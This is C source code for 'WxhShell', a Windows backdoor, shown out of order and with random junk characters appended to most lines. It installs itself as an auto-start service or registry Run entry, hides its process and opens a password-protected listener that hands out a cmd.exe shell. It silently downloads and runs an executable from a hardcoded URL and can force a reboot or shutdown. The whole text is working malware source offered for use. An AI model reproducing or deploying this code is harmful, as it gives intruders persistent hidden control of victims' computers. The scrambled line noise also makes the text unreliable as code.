    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :y4)qF  
    if(Boot(SHUTDOWN)) l~`txe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (xI)"{   
    else { #9URVq,  
    closesocket(wsh); iK$Vd+Lgc  
    ExitThread(0); Z&AHM &,yj  
    } >lUBt5gU  
    break; !%SdTaC{T  
    } Fr1;)WV  
  // 获取shell {JCSR2BB  
  case 's': { dt`9RB$  
    CmdShell(wsh); jydp4ek_n  
    closesocket(wsh); O|A~dj `  
    ExitThread(0); Y\ #.EVz  
    break; `I]1l MJ)o  
  } M Ak-=?t  
  // 退出 <Tj"GVZAEO  
  case 'x': { hNu>s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G%V=idU*"  
    CloseIt(wsh); > gA %MT  
    break; tJ(c<:zD  
    } #u}v7{4  
  // 离开 ]be 0I)  
  case 'q': { .y/NudD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w 7=D6`  
    closesocket(wsh); 8GF[)z&|P:  
    WSACleanup(); @p9e:[  
    exit(1); ZuF4N=;  
    break; Thht_3_C,f  
        } ;-Y]X(z>  
  } oo$WD6eCR  
  } }J'5EAp  
#z-iL!?  
  // 提示信息 o{S}e!Vb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }`+^|1  
} } K+Q9<~u  
  } 886 ('  
^a:vJ)WB7  
  return; VOowA^  
} NIWI6qCw  
WwCK  K  
// shell模块句柄 -N-4l  
int CmdShell(SOCKET sock) 82Z[eo  
{ k#IS ,NKE  
STARTUPINFO si; &2<&X( )  
ZeroMemory(&si,sizeof(si)); ' q=NTP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ..Uw8u/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Eezlx9b  
PROCESS_INFORMATION ProcessInfo; -Fok %iQ'5  
char cmdline[]="cmd"; AK*mcTr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +hyWo]nW0  
  return 0; Nw3I   
} u75)>^:I   
()3x%3   
// 自身启动模式 5b{yA~ty  
int StartFromService(void) jr#g>7yM  
{ DO1N`7@o  
typedef struct 3wa<,^kqy  
{ 6ljRV)  
  DWORD ExitStatus; e8P!/x-y  
  DWORD PebBaseAddress; nM(=bEX  
  DWORD AffinityMask; wk@(CKQzI,  
  DWORD BasePriority; ;*37ta  
  ULONG UniqueProcessId; @6i8RmOu}  
  ULONG InheritedFromUniqueProcessId; :)+@qxTy  
}   PROCESS_BASIC_INFORMATION; QE{;M  
xJF6l!`  
PROCNTQSIP NtQueryInformationProcess; >m_ p\$_  
~d#;r5>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eB/hyC1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z 9 q{r s  
{KpH|i  
  HANDLE             hProcess; Vf,~MG  
  PROCESS_BASIC_INFORMATION pbi; (fk, 80  
(61twutC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1A/c/iC  
  if(NULL == hInst ) return 0; meM.?kk(  
ubN"(F:!-S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M\.T 0M_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zh~Lm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oN6*WN tJ  
A*26'  
  if (!NtQueryInformationProcess) return 0; j2{,1hj  
xO9]yULgu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Bd* L~D  
  if(!hProcess) return 0; C+#;L+$Gi  
RzY`^A6G6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]x(2}h^ S  
zs]/Y2  
  CloseHandle(hProcess); 9bcyPN  
U37?P7i's  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l^eNZ3:H  
if(hProcess==NULL) return 0; 6q uWO2x  
luz%FY:  
HMODULE hMod; 6_ &6'Vq  
char procName[255]; ?D^,K`wY=B  
unsigned long cbNeeded; g$-D?~(Z  
I#hg(7|",  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e'?d oP  
xd BZ^Q  
  CloseHandle(hProcess); 1q233QSW)  
Q}f}Jf3P  
if(strstr(procName,"services")) return 1; // 以服务启动 G$kwc F'C  
=wR]X*Pan  
  return 0; // 注册表启动 GqD!W8+  
} U!I_i*:U  
$}nUK~$GSv  
// 主模块 dV=5_wXZ$  
int StartWxhshell(LPSTR lpCmdLine) z9kX`M+  
{ ${?exnb$  
  SOCKET wsl; 1 GHgwT  
BOOL val=TRUE; #M9D" <pn}  
  int port=0; 2"Uk}Yz|  
  struct sockaddr_in door; s riq(A  
/,@v"mE7c!  
  if(wscfg.ws_autoins) Install(); P$qkb|D,  
#`L}.  
port=atoi(lpCmdLine); n]fbV/ x  
F#bo4'&>@  
if(port<=0) port=wscfg.ws_port; = SJF \Z  
Oi[9b  
  WSADATA data; @] "9EW 0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _5S$mc8K0  
m#K%dR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {2clOUi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :E&T}RN  
  door.sin_family = AF_INET; Nu2]~W&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tP(bRQ>  
  door.sin_port = htons(port); v*fc5"3eO  
/FV6lR!0^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z#:@M[HH{  
closesocket(wsl); %+B-Z/1}  
return 1; ;AB,:*  
} `0XbV A  
yxUVM`.~  
  if(listen(wsl,2) == INVALID_SOCKET) { jLS]^|  
closesocket(wsl); _ N f[HP  
return 1; S,9WMti4x  
} mL5f_Fb+  
  Wxhshell(wsl); *]{I\rX  
  WSACleanup(); s i.a]k/f  
=LY^3TlDj  
return 0; ~)IJE+e>}  
m1o65FsY08  
} >37}JUG  
)[X!/KR90  
// 以NT服务方式启动 8PjhvU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m:O2_%\l  
{ |A/_Qe|s2  
DWORD   status = 0; '"\Mjz)/  
  DWORD   specificError = 0xfffffff; EjE`S_i=  
HtYR 0J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 78~V/L;@S2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iSLf:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1gej$G@  
  serviceStatus.dwWin32ExitCode     = 0; -?`l<y(  
  serviceStatus.dwServiceSpecificExitCode = 0; mf[79:90^  
  serviceStatus.dwCheckPoint       = 0; @5VZ   
  serviceStatus.dwWaitHint       = 0; 58'y~Ou  
@wJa33QT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <G?85*Nv_  
  if (hServiceStatusHandle==0) return; 3v+}YT{>b  
`2,_"9Z(  
status = GetLastError(); ?'m5)Z{  
  if (status!=NO_ERROR) rB|:r\Z(jG  
{ 6;XpLivP7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FGhrf  
    serviceStatus.dwCheckPoint       = 0; v$/i5kcWx  
    serviceStatus.dwWaitHint       = 0; U I|@5:J  
    serviceStatus.dwWin32ExitCode     = status; <f{`}drp/  
    serviceStatus.dwServiceSpecificExitCode = specificError; QnLg P7Ft  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9sU,.T  
    return; S%#Mu|  
  } yZaDNc9'  
"dOY_@kg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N ] /d  
  serviceStatus.dwCheckPoint       = 0; Jn&>Z? @  
  serviceStatus.dwWaitHint       = 0; 1RHH<c%2n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y+R$pzX  
} D ,^ U%<`  
2;r^~:  
// 处理NT服务事件,比如:启动、停止 g c=|< (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {\Y,UANZ  
{ )X$n'E  
switch(fdwControl) qqre d>K  
{ wk/U"@lq  
case SERVICE_CONTROL_STOP: GQxJ (f  
  serviceStatus.dwWin32ExitCode = 0; uW_ /7ex  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9 NSYrIQ"  
  serviceStatus.dwCheckPoint   = 0; Gfch|Q^INy  
  serviceStatus.dwWaitHint     = 0; -ouL4  
  {  PMZzzZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,{t!->K  
  } vB4qJ{f  
  return; W7> _nK+g?  
case SERVICE_CONTROL_PAUSE: H8k| >4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WLFzLW=PD  
  break; XaSl6CH  
case SERVICE_CONTROL_CONTINUE: >pHvBFa3G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3e1"5~?'<  
  break; )+R3C%  
case SERVICE_CONTROL_INTERROGATE: HXo'^^}q;  
  break; 5|z[%x~f  
}; e{S`iO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .AS,]*?Zn%  
} R_DQtLI  
NPabM(<`  
// 标准应用程序主函数 X~!?t }  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2b1:Tt9  
{ Ut@)<N  
`?m(Z6'  
// 获取操作系统版本 ` XY[ HK  
OsIsNt=GetOsVer(); Hb4rpAeP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (b!DJ;(O9  
ePdzQsnVe  
  // 从命令行安装 k Er7,c  
  if(strpbrk(lpCmdLine,"iI")) Install(); :D-vE7  
u?/]"4  
  // 下载执行文件 %&GQ]pmcY  
if(wscfg.ws_downexe) { {.W%m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V^5 t~)#46  
  WinExec(wscfg.ws_filenam,SW_HIDE); Cvy;O~)  
} Id1[}B-T  
-2 ?fg   
if(!OsIsNt) { <{j9|mt  
// 如果时win9x,隐藏进程并且设置为注册表启动 L1K_|X  
HideProc(); > xw+2<  
StartWxhshell(lpCmdLine); vi|ASA{V  
} "5bk82."  
else V4D&&0&n  
  if(StartFromService()) VNPd L  
  // 以服务方式启动 _95tgJy  
  StartServiceCtrlDispatcher(DispatchTable); ${3OQG  
else 6, ~aV  
  // 普通方式启动 gUQCKNw  
  StartWxhshell(lpCmdLine); ?c*d z{  
~o$=(EC  
return 0; Kz;VAH  
} c8MNo'h  
G&-h,"yo^  
Stpho4+/y  
) 'KHUa9  
=========================================== " OtLJ  
Dr609(zg^  
f}4h}Cq  
hG]20n2  
E}+A)7mA  
/@e\I0P^  
" I&0yUhn  
|n/id(R+  
#include <stdio.h> 1??RX}8[L+  
#include <string.h> !b=$FOC>  
#include <windows.h> ;2}Gqh)Yr  
#include <winsock2.h> 2"T&Fp<  
#include <winsvc.h> FSk:J~Z;  
#include <urlmon.h> X:5*LB\/v  
f5v|}gMAX  
#pragma comment (lib, "Ws2_32.lib") lQjq6Fl2  
#pragma comment (lib, "urlmon.lib") . b"e`Bw_=  
~@bKQ>Xw  
#define MAX_USER   100 // 最大客户端连接数 @VAhmYz  
#define BUF_SOCK   200 // sock buffer  'M{_S  
#define KEY_BUFF   255 // 输入 buffer wVTo7o%U  
gS ]'^Sr  
#define REBOOT     0   // 重启 dewu@  
#define SHUTDOWN   1   // 关机 # L R[6l  
;.Y`T/eWS  
#define DEF_PORT   5000 // 监听端口 &0`L;1R  
q ^?{6}sy  
#define REG_LEN     16   // 注册表键长度 R<)uvW_@  
#define SVC_LEN     80   // NT服务名长度 +Xk!)Ge5E*  
n:+M Nr  
// 从dll定义API '7^_$M3$\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :|g{ gi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }e$);A|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V RL6F2 >6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O<*iDd`(e  
I{ $|Ed1  
// wxhshell配置信息 _ U\vHa$#  
struct WSCFG { *V/SI E*8  
  int ws_port;         // 监听端口 !p2&$s"N.  
  char ws_passstr[REG_LEN]; // 口令 wP i=+  
  int ws_autoins;       // 安装标记, 1=yes 0=no |(N4x(xl  
  char ws_regname[REG_LEN]; // 注册表键名 +}n]A^&I\E  
  char ws_svcname[REG_LEN]; // 服务名 i F Ab"VA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5`J. ic  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,LvJ'N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @`yfft  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C-7.Sa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]!QeJ'BLM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  O-k(5Zb  
Q1rwTg\  
}; .B@;ch,  
0M"E6z)9  
// default Wxhshell configuration IlVi1`]w  
struct WSCFG wscfg={DEF_PORT, 6S(3tvUr  
    "xuhuanlingzhe", 8c#*T%Vf  
    1,  2r[,w]  
    "Wxhshell", UkUdpZ.[il  
    "Wxhshell", C`ok{SNtUy  
            "WxhShell Service", %<klz)!t  
    "Wrsky Windows CmdShell Service", 9Y(<W_{/  
    "Please Input Your Password: ", ~(c<ioIf  
  1, "o1/gV  
  "http://www.wrsky.com/wxhshell.exe", & 3gni4@@  
  "Wxhshell.exe" 83h6>D b  
    }; "^\4xI  
D 6(w}W  
// 消息定义模块 6Yklaq5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wo/H:3^N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '=r.rW5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k$zDofdfp  
char *msg_ws_ext="\n\rExit."; C$_H)I  
char *msg_ws_end="\n\rQuit."; h1"#DnK7  
char *msg_ws_boot="\n\rReboot..."; ' ySWf,Q^  
char *msg_ws_poff="\n\rShutdown..."; ,^3D"Tky  
char *msg_ws_down="\n\rSave to "; 6 ^p 6v   
+um; eL7  
char *msg_ws_err="\n\rErr!"; 82$^pg>  
char *msg_ws_ok="\n\rOK!"; *{ .u\BL5  
hZy"@y3Yq  
char ExeFile[MAX_PATH]; l4; LV7Ji  
int nUser = 0; 49CMRO,T  
HANDLE handles[MAX_USER]; sx9 N8T3n  
int OsIsNt; jN[Z mJz'  
nQ mkDPjU  
SERVICE_STATUS       serviceStatus; *I~F7Z]|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e= '3gzz  
a*=e 3nS  
// 函数声明 ,}NG@JID  
int Install(void); k;%}%"EVZ  
int Uninstall(void); q+N}AKawB  
int DownloadFile(char *sURL, SOCKET wsh); &B) F_EI  
int Boot(int flag); Jyd%!v  
void HideProc(void); \"5\hX~dS  
int GetOsVer(void); Yz,*Q<t  
int Wxhshell(SOCKET wsl); Ys\l[$_`*  
void TalkWithClient(void *cs); } nQHP4'  
int CmdShell(SOCKET sock); %K zURv  
int StartFromService(void); 5K8\hoW{  
int StartWxhshell(LPSTR lpCmdLine); Si;e_a  
zdY`c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +q3W t|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ).-FuL4Y  
fx*Swv%r  
// 数据结构和表定义 Z*JZ Ubo-Q  
SERVICE_TABLE_ENTRY DispatchTable[] = C?z C|0  
{ (bXCc  
{wscfg.ws_svcname, NTServiceMain}, i22R3&C  
{NULL, NULL} Q (`IiV   
}; Na#2sb[)  
/OViqZ;9  
// 自我安装 "zr%Q'Ky  
int Install(void) R (6Jvub"I  
{ /GEqU^ B  
  char svExeFile[MAX_PATH]; :r|dXW  
  HKEY key; bO-8<IjC_3  
  strcpy(svExeFile,ExeFile); p{.EFa>H  
?g9CeeH*  
// 如果是win9x系统,修改注册表设为自启动 [}FP_Su$6  
if(!OsIsNt) { ~!UxmYgO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \A':}<Rj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ek.L(n,J|  
  RegCloseKey(key); aFhsRE?YC=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eM8u ;i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z#9{1sHEP  
  RegCloseKey(key); ]E`DG  
  return 0; }O_6wi  
    } )]v vp{  
  } _wm"v19  
} ak<?Eu9rV  
else { @mW0EJ8bb  
 Wkf)4!  
// 如果是NT以上系统,安装为系统服务 !I:6L7HdwB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,"&vhgYU  
if (schSCManager!=0) ] Qj65]  
{ ~fr1O`8  
  SC_HANDLE schService = CreateService jLZ+HYyG9  
  ( U,)+wZJ  
  schSCManager, Dtn|$g,  
  wscfg.ws_svcname, +&JF|#FQ`  
  wscfg.ws_svcdisp, puDy&T  
  SERVICE_ALL_ACCESS, yfYAA*S!z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BHa!jw_~o  
  SERVICE_AUTO_START, #U'n=@U@(  
  SERVICE_ERROR_NORMAL, lQoa[#q  
  svExeFile, No j6Ina  
  NULL, bw+~5pqM  
  NULL, GX(p7ZgB2  
  NULL, F+9|D  
  NULL, 9erTb?@S  
  NULL jMgNi@  
  ); >:8GU f*  
  if (schService!=0) ^8B#-9Ph b  
  { KWM.b"WnXr  
  CloseServiceHandle(schService); nJrV  
  CloseServiceHandle(schSCManager); bD=_44I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QRx'BY$5  
  strcat(svExeFile,wscfg.ws_svcname); %]d^B |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  8DyE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0YW<>Y`6  
  RegCloseKey(key); .{~ygHQ`f  
  return 0; /SSl$  
    } AuSL?kZ4|Y  
  } *|MPYxJ<  
  CloseServiceHandle(schSCManager); H!HkXm"  
} tXwnK[~x  
} 4_)@Nq  
jwGd*8 /  
return 1; Ws'3*HAce  
} i $#bg^  
l =xy_ TCf  
// 自我卸载 Iy\K&)5?  
int Uninstall(void) Xq,{)G%9nM  
{ h2K1|PUKl[  
  HKEY key; gy,B+~p  
qJUu9[3'm  
if(!OsIsNt) { (7&[!PS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SkVW8n*s  
  RegDeleteValue(key,wscfg.ws_regname); ?;!l-Dy  
  RegCloseKey(key); -k")#1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cl)%qIXj}H  
  RegDeleteValue(key,wscfg.ws_regname); ,}F{V>dhn  
  RegCloseKey(key); enE8T3   
  return 0; HtPasFrJ  
  } UjUDP>iz.>  
} R 8?Xz5  
} NgQ {'H[Y  
else { OV^) N  
t d-EB&i\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @/yef3  
if (schSCManager!=0) [iB`- dE,  
{ 67%o83\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +Z#lf  
  if (schService!=0) 89?AcZ.D  
  { ?HAWw'QW  
  if(DeleteService(schService)!=0) { d%\en&:la  
  CloseServiceHandle(schService); d 6j'[  
  CloseServiceHandle(schSCManager); (khjP ,  
  return 0; ?kISAA4x  
  } x)5#*Q  
  CloseServiceHandle(schService); <Hig,(=`.  
  } ?3k;Yg/  
  CloseServiceHandle(schSCManager); QzCu$ [  
} S3A OT  
} Ks7DoXCvE  
{H=DeQ  
return 1; l0l2fwz(  
} X70G@-w  
rK9X68)  
// 从指定url下载文件 IEmtt^C  
int DownloadFile(char *sURL, SOCKET wsh) ":tQYo]d  
{ Xq` '^)  
  HRESULT hr; cEhwv0f!qS  
char seps[]= "/"; 2a 3i]e5Kt  
char *token; s: ~3|D][  
char *file; #0zMPh /U}  
char myURL[MAX_PATH]; E0o=  
char myFILE[MAX_PATH]; |Rf4^vN  
$&OoxC  
strcpy(myURL,sURL); ag+$qU  
  token=strtok(myURL,seps); oEGe y8?  
  while(token!=NULL) gR )xw)!  
  { ~kj1L@gy   
    file=token; W4Tuc:X5  
  token=strtok(NULL,seps); Gn>#Mvq  
  } =TE6R 0b  
/n"Ib )M  
GetCurrentDirectory(MAX_PATH,myFILE); b<u   
strcat(myFILE, "\\"); VK5|w:  
strcat(myFILE, file); 9|jk=`4UK  
  send(wsh,myFILE,strlen(myFILE),0); Z ^zUb  
send(wsh,"...",3,0); 9~J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3){ /u$iH.  
  if(hr==S_OK) Xb@lKX5Re  
return 0; "u@)   
else {R5Q{]dK3  
return 1; w z}BH  
xxLD8?@e7  
} FFQ=<(Ki  
xPl+ rsU  
// 系统电源模块 =$`EB  
int Boot(int flag) :<=A1>&8  
{ xlg6cO  
  HANDLE hToken; k z"F4?,  
  TOKEN_PRIVILEGES tkp; B{hP#bYK  
Ei2hI  
  if(OsIsNt) { RP?UKOc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S:"R/EE(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p(-f$Q(  
    tkp.PrivilegeCount = 1; IxNY%&* `  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n}Pz:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7A@]t_83Y  
if(flag==REBOOT) { qq9fZZb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @*`9!K%  
  return 0; =87.6Ai  
} -rb]<FrL^  
else { BG\g`NK}Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y9kydu#q  
  return 0; _BHR ?I[w  
} bKRz=$P?  
  } 65X$k]x  
  else { jODx&dVr  
if(flag==REBOOT) { tXDO@YH3S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T1sb6CT  
  return 0; )4q0(O)d  
} I CCmE#n  
else { E`]lr[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r\-Mj\$-  
  return 0; KjFNb;mM  
} 2mg4*Ys  
} U>PF#@ C/  
vs]#?3+  
return 1; _1 TSt%L  
} sq1Z;l31"  
4Y2l]86  
// win9x进程隐藏模块 4Qh\3UL~  
void HideProc(void) -b'93_ZTu:  
{ >U?HXu/TJr  
P4@<`Eb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hYO UuC  
  if ( hKernel != NULL ) tu {y  
  { yyCx;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f-!t31?XK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7UM!<@9\  
    FreeLibrary(hKernel); |O =Fz3)  
  } O {u^&V]  
vl+vzAd  
return; K.'II9-{  
} OT/*|Pn9  
8JvF4'zx  
// 获取操作系统版本 H~y 7o_tg  
int GetOsVer(void) s"G;rcS}#  
{ l;_zXN   
  OSVERSIONINFO winfo; ^wDZg`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2@ 4^ 81  
  GetVersionEx(&winfo); lrQ +G@#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PO9<g% qTf  
  return 1; c@iP^;D  
  else "uK`!{  
  return 0; N]qX^RSb  
} $42%H#  
CtItzp  
// 客户端句柄模块 /4w"akB|P  
int Wxhshell(SOCKET wsl) Ck<g0o6  
{ MW&ww14  
  SOCKET wsh; Q?]307g7  
  struct sockaddr_in client; Rf7*Ut wVr  
  DWORD myID; 2pa: 3O  
%{'hpT~h  
  while(nUser<MAX_USER) cEzWIS?pp\  
{ N#<h/  
  int nSize=sizeof(client); 1QkAFSl3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k\,01Y^  
  if(wsh==INVALID_SOCKET) return 1; ;;4xpg  
u`GzYG-L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GR&T Z   
if(handles[nUser]==0) -UgD  
  closesocket(wsh); v"x{oD$R  
else ;533;(d* o  
  nUser++; j(JUOief  
  } D4jf%7X!Lu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .CXe*Vbd  
0>PO4WFVJ  
  return 0; &Z Ja}5k!r  
} ?Uz7($}  
'J*)o<%  
// 关闭 socket ,":l >0P[  
void CloseIt(SOCKET wsh) %) A-zzj  
{ d3 h^L  
closesocket(wsh); i^hgs`hvU  
nUser--; eO<:X|9T  
ExitThread(0); Ya$JX(aUe  
} ;Kb]v\C:  
l+$ e|F  
// 客户端请求句柄 $'M:H_T  
void TalkWithClient(void *cs) 6@ `'}  
{ M+Rxt.~6  
NUiNn 7C  
  SOCKET wsh=(SOCKET)cs; N[G<&f9  
  char pwd[SVC_LEN]; 8p3pw=p  
  char cmd[KEY_BUFF]; 8!e1T,:b  
char chr[1]; `a.1Af;L  
int i,j; ~i&Lc7Xl  
E2f9J{ Ki=  
  while (nUser < MAX_USER) { ?<@yo&)  
7=jeq|&kN  
if(wscfg.ws_passstr) { +jk_tPSe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n[2[V*|mI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xHN"7j}h  
  //ZeroMemory(pwd,KEY_BUFF); pfCNFF*"  
      i=0; C+/D!ZH%P  
  while(i<SVC_LEN) { O{" A3f  
((Bu Bu>  
  // 设置超时 nx<q]J uv\  
  fd_set FdRead;  gB\ a  
  struct timeval TimeOut; 0>jo+b\D$  
  FD_ZERO(&FdRead); K>H_q@-?f  
  FD_SET(wsh,&FdRead); X2#;1 ku  
  TimeOut.tv_sec=8; /mST<{(_G\  
  TimeOut.tv_usec=0; 4%5H<:V7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n ETm"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XO |U4 #ya  
r{~K8!=oU]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "WKE% f  
  pwd=chr[0]; ^%|(dMo4  
  if(chr[0]==0xd || chr[0]==0xa) { cpV:y  
  pwd=0; @=jcdn!\M  
  break; LGb.>O^  
  } ebF},Q(48  
  i++; k]*DuVCOX  
    } #]`ejr:2O  
.F=15A  
  // 如果是非法用户,关闭 socket 8.vPh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /uSEG<D  
} ,"/<N*vh  
oL'  :07_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gd9ZlHo'Id  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pH&Q]u; O  
pf.T{/%  
while(1) { .^s%Nh2jM  
yQQ[_1$pq  
  ZeroMemory(cmd,KEY_BUFF); Ugmg,~U~k  
r>lC(x\B  
      // 自动支持客户端 telnet标准   ],%}}UN  
  j=0; C3`2{1  
  while(j<KEY_BUFF) { -CW$p=y}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X/,4hjg  
  cmd[j]=chr[0]; b2;Weu3WN  
  if(chr[0]==0xa || chr[0]==0xd) { @:DS/#!  
  cmd[j]=0; eW*nRha  
  break; >mI-h  
  } dy u brIG  
  j++; rn1FCJ<;H  
    } ?5m[Qc (<  
S\<]|tM:x  
  // 下载文件 qIQvix$8  
  if(strstr(cmd,"http://")) { i3 k ',8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k07JMS?  
  if(DownloadFile(cmd,wsh)) bA#E8dlC_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs;,_  
  else ?Mp)F2'  
